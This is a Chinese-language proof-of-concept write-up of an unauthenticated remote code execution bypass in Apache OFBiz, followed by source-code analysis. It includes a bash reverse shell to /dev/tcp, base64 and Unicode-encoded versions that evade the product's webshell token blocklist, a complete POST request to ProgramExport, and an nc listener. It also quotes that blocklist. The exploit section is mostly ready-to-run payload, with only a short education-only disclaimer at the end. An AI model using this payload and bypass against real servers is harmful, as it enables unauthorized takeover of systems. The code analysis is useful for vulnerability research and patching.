0x01Poc描述

在apache ofbiz12.14中,有远程命令执行功能。用户可以使用特定的url来绕过过滤器检测,导致高危代码在未经授权的情况下执行

0x02

将反向壳牌转换为java可以识别的形式

/bin/bash -i >& /dev/tcp/127.0.0.1/8888 0>&1
bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}

使用unicode编码

\u0022\u0062\u0061\u0073\u0068\u0020\u002D\u0063\u0020\u007B\u0065\u0063\u0068\u006F\u002C\u004C\u0032\u004A\u0070\u0062\u0069\u0039\u0069\u0059\u0058\u004E\u006F\u0049\u0043\u0031\u0070\u0049\u0044\u0034\u006D\u0049\u0043\u0039\u006B\u005A\u0058\u0059\u0076\u0064\u0047\u004E\u0077\u004C\u007A\u0045\u0079\u004E\u0079\u0034\u0077\u004C\u006A\u0041\u0075\u004D\u0053\u0038\u0034\u004F\u0044\u0067\u0034\u0049\u0044\u0041\u002B\u004A\u006A\u0045\u003D\u007D\u007C\u007B\u0062\u0061\u0073\u0065\u0036\u0034\u002C\u002D\u0064\u007D\u007C\u007B\u0062\u0061\u0073\u0068\u002C\u002D\u0069\u007D\u0022\u002E\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029
POST /webtools/control/main/ProgramExport HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: Mozilla/6.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded

groovyProgram=\u0022\u0062\u0061\u0073\u0068\u0020\u002D\u0063\u0020\u007B\u0065\u0063\u0068\u006F\u002C\u004C\u0032\u004A\u0070\u0062\u0069\u0039\u0069\u0059\u0058\u004E\u006F\u0049\u0043\u0031\u0070\u0049\u0044\u0034\u006D\u0049\u0043\u0039\u006B\u005A\u0058\u0059\u0076\u0064\u0047\u004E\u0077\u004C\u007A\u0045\u0079\u004E\u0079\u0034\u0077\u004C\u006A\u0041\u0075\u004D\u0053\u0038\u0034\u004F\u0044\u0067\u0034\u0049\u0044\u0041\u002B\u004A\u006A\u0045\u003D\u007D\u007C\u007B\u0062\u0061\u0073\u0065\u0036\u0034\u002C\u002D\u0064\u007D\u007C\u007B\u0062\u0061\u0073\u0068\u002C\u002D\u0069\u007D\u0022\u002E\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029

nc监听

nc -l 8888

拿到shell

0x03代码分析

如果我提交的url是control/main/ProgramExport,过滤器将执行以下操作org.apache.ofbiz.webapagecontrol.ControlFilter

try {
    String url = new URI(((HttpServletRequest) request).getRequestURL().toString())
            .normalize().toString()
            .replaceAll(";", "")
            .replaceAll("(?i)%2e", "");
    if (!((HttpServletRequest) request).getRequestURL().toString().equals(url)) {
        Debug.logError("For security reason this URL is not accepted", module);
        throw new RuntimeException("For security reason this URL is not accepted");
    }
} catch (URISyntaxException e) {
    throw new RuntimeException(e);
}

可以在第137-148行中看到,这是针对(CVE-2024-32113)通向RCE的路径遍历的修复。

while (!allowedPaths.contains(requestUri.substring(0, offset))) {//  allowedPaths  “/control/main”
    offset = requestUri.indexOf("/", offset + 1);  
    if (offset == -1) {
        if (allowedPaths.contains(requestUri)) { 
            break;
        }
        // path not allowed
        if (redirectPath == null) {
            httpResponse.sendError(errorCode, httpRequest.getRequestURI());
        } else {
            if (redirectPathIsUrl) {

然后向下看,第174行re redirectPath ,然后转到“/”的位置进行拼接,最后得到/control/main

                if (Debug.infoOn()) {
                    Debug.logInfo("[Filtered request]: " + httpRequest.getRequestURI() + " --> " + (redirectPath == null? errorCode: redirectPath), module);
                }
                return;
            }
        }
        chain.doFilter(request, httpResponse);  //Finally, filter intercepts control/main, and finally passes filter detection.
    }/control/main 
}

调用筛选器来检查“/control/main”,但“/control\main”不需要身份验证,所以绕过筛选器检查。

经过一系列的处理

org.apache.ofbiz.webapagecontrol.RequestHandler#doRequest.java

// workaround if we are in the root webapp
String cname = UtilHttp.getApplicationName(request);

// Grab data from request object to process
String defaultRequestUri = RequestHandler.getRequestUri(request.getPathInfo());

String requestMissingErrorMessage = "Unknown request ["
        + defaultRequestUri
        + "]; this request does not exist or cannot be called directly.";
//... 273
String path = request.getPathInfo();
String requestUri = getRequestUri(path);
String overrideViewUri = getOverrideViewUri(path); // Control/main/ProgramExport gets ProgramExport.
Collection<RequestMap> rmaps = resolveURI(ccfg, request);
if (rmaps.isEmpty()) {
    if (throwRequestHandlerExceptionOnMissingLocalRequest) {
      throw new RequestHandlerException(requestMissingErrorMessage)

获取第275行中的路径以获取最终url,获取ProgramExport,并将该值赋给overrideViewUri

//... 742 
    String viewName = (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn == null || "success".equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value; // get viewName (ProgramExport) 
    renderView(viewName, requestMap.securityExternalView, request, response, saveName);
} else if ("view-last".equals(nextRequestResponse.type)) {

从741行到743行,从overrideViewUri获取“view”的名称,然后调用 renderView 来渲染。

/webtools/groovyScripts/entity/ProgramExport.groovy

//...56 
parameters.groovyProgram = groovyProgram
} else {
    groovyProgram = parameters.groovyProgram
}

// Add imports for script.
def importCustomizer = new ImportCustomizer()
importCustomizer.addImport("org.apache.ofbiz.entity.GenericValue")
importCustomizer.addImport("org.apache.ofbiz.entity.model.ModelEntity")
def configuration = new CompilerConfiguration()
configuration.addCompilationCustomizers(importCustomizer)

Binding binding = new Binding()
binding.setVariable("delegator", delegator)
binding.setVariable("recordValues", recordValues)

ClassLoader loader = Thread.currentThread().getContextClassLoader()
def shell = new GroovyShell(loader, binding, configuration)

if (UtilValidate.isNotEmpty(groovyProgram)) {
    try {
        // Check if a webshell is not uploaded but allow "import"
        if (!SecuredUpload.isValidText(groovyProgram, ["import"])) {
            logError("================== Not executed for security reason ==================")
            request.setAttribute("_ERROR_MESSAGE_", "Not executed for security reason")
            return
        }
        shell.parse(groovyProgram)
        shell.evaluate(groovyProgram)
        recordValues = shell.getVariable("recordValues")
        xmlDoc = GenericValue.makeXmlDocument(recordValues)

在第55行和80行之间,我们可以看到程序导出器接收参数groovyProgram以传递该值,然后调用SecuredUpload.isValidText函数来检查黑名单。

org.apache.ofbiz.security.SecuredUpload#isValidTex

    private static final String MODULE = SecuredUpload.class.getName();
    private static final List<String> DENIEDFILEEXTENSIONS = getDeniedFileExtensions();
    private static final List<String> DENIEDWEBSHELLTOKENS = getDeniedWebShellTokens();
    private static final Integer MAXLINELENGTH = UtilProperties.getPropertyAsInteger("security", "maxLineLength", 10000);

.....
  
public static boolean isValidText(String content, List<String> allowed) throws IOException {
        return content != null ? DENIEDWEBSHELLTOKENS.stream().allMatch(token -> isValid(content, token.toLowerCase(), allowed)) : false;
    }
...
770  
      private static List<String> getDeniedWebShellTokens() {
        String deniedTokens = UtilProperties.getPropertyValue("security", "deniedWebShellTokens");
        return UtilValidate.isNotEmpty(deniedTokens) ? StringUtil.split(deniedTokens, ",") : new ArrayList<>();
    }

DENIED WEBShell TOKENS中的黑名单

framework/security/config/security.properties

... 238
deniedWebShellTokens=java.,beans,freemarker,<script,javascript,<body,body ,<form,<jsp:,<c:out,taglib,<prefix,<%@ page,<?php,exec(,alert(,\
                     %eval,@eval,eval(,runtime,import,passthru,shell_exec,assert,str_rot13,system,decode,include,page ,\
                     chmod,mkdir,fopen,fclose,new file,upload,getfilename,download,getoutputstring,readfile,iframe,object,embed,onload,build,\
                     python,perl ,/perl,ruby ,/ruby,process,function,class,InputStream,to_server,wget ,static,assign,webappPath,\
                     ifconfig,route,crontab,netstat,uname ,hostname,iptables,whoami,"cmd",*cmd|,+cmd|,=cmd|,localhost,thread,require,gzdeflate,\
                     execute,println,calc,touch,calculate

它是基于字符匹配的,我们只需要对有效载荷进行unicode就可以绕过它。

至此,整个利用过程就完成了

声明

此文章 仅用于教育目的。请负责任地使用它,并且仅在您有明确测试权限的系统上使用。滥用此 PoC 可能会导致严重后果。